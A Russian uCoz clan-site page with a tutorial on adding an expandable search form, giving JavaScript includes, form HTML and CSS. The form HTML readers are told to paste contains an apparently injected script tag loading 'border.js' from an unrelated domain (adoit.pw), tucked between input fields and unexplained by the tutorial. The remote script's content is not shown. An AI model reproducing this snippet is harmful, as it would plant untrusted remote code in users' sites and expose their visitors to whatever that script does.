Суббота, 04.05.2024 00:48

Навигация
//evil-angel.my1.ru/images/8.gif Главная
//evil-angel.my1.ru/images/8.gif Форум
//evil-angel.my1.ru/images/8.gif Новости
//evil-angel.my1.ru/images/8.gif Мувики
Меню клана
//evil-angel.my1.ru/images/8.gif Состав клана
//evil-angel.my1.ru/images/8.gif Забить clanwar
//evil-angel.my1.ru/images/8.gif Наши CW
Все для uCoz
//evil-angel.my1.ru/images/8.gif Шаблоны для uCoz
//evil-angel.my1.ru/images/8.gif Скрипты для uCoz
//evil-angel.my1.ru/images/8.gif Иконки для форума
//evil-angel.my1.ru/images/8.gif Шапки
Софт и программы
//evil-angel.my1.ru/images/8.gif Мультимедия
//evil-angel.my1.ru/images/8.gif Безопастность
//evil-angel.my1.ru/images/8.gif Офис
//evil-angel.my1.ru/images/8.gif Русификаторы для игр
//evil-angel.my1.ru/images/8.gif Драйвера
//evil-angel.my1.ru/images/8.gif ОС и сборки
//evil-angel.my1.ru/images/8.gif Разные программы
//evil-angel.my1.ru/images/8.gif Графика
//evil-angel.my1.ru/images/8.gif Для раскрутки сайта
//evil-angel.my1.ru/images/8.gif Игры для PC
//evil-angel.my1.ru/images/8.gif Музыка
//evil-angel.my1.ru/images/8.gif Журналы/Книги
Counter-Strike 1.6
//evil-angel.my1.ru/images/8.gif Скачать Counter-Strike 1.6
//evil-angel.my1.ru/images/8.gif Готовые Сервера CS 1.6
//evil-angel.my1.ru/images/8.gif Статьи CS 1.6
//evil-angel.my1.ru/images/8.gif Моды CS 1.6
//evil-angel.my1.ru/images/8.gif Плагины CS 1.6
//evil-angel.my1.ru/images/8.gif Карты CS 1.6
//evil-angel.my1.ru/images/8.gif Софт CS 1.6
//evil-angel.my1.ru/images/8.gif Модели CS 1.6
//evil-angel.my1.ru/images/8.gif Античиты CS 1.6
//evil-angel.my1.ru/images/8.gif Патчи CS 1.6
//evil-angel.my1.ru/images/8.gif Темы CS 1.6
//evil-angel.my1.ru/images/8.gif Лого и иконки CS 1.6
//evil-angel.my1.ru/images/8.gif Разное CS 1.6
//evil-angel.my1.ru/images/8.gif Для Linux
Мини-чат
500
Наш опрос
какая самая лучшая карта css
Всего ответов: 60
Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
13:37
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 245 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мой профиль
Статитика CW
Победы
Победы(17)

Поражения
Поражения(0)


Забить cw

Мы вконтакте
Наша кнопка
[ Получить код ]
Статистика
Зарег. на сайте:
Всего: 118
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов:
Гл.Модераторов:
Гл.Дизайнеров:
Модераторов: 0
Дизайнеров:
Журналистов: 0
Файловиков:
Проверенных: 0
Обычных: 117
Из них:
Парней: 102
Девушек: 16
Счетчики:
Анализ страниц сайта
Онлайн:
Онлайн всего: 1
лень зарегится: 1
Реальных пацанов: 0
Сегодня нас посетили:

Evil-Angel - Игровой портал, Классные конфиги для кс | конфиги кс | шаблоны ucoz для cs 1.6 | © 2009-2010 | | Sitemap | Sitemap-Forum
Копирование материалов на другие сайты запрещено!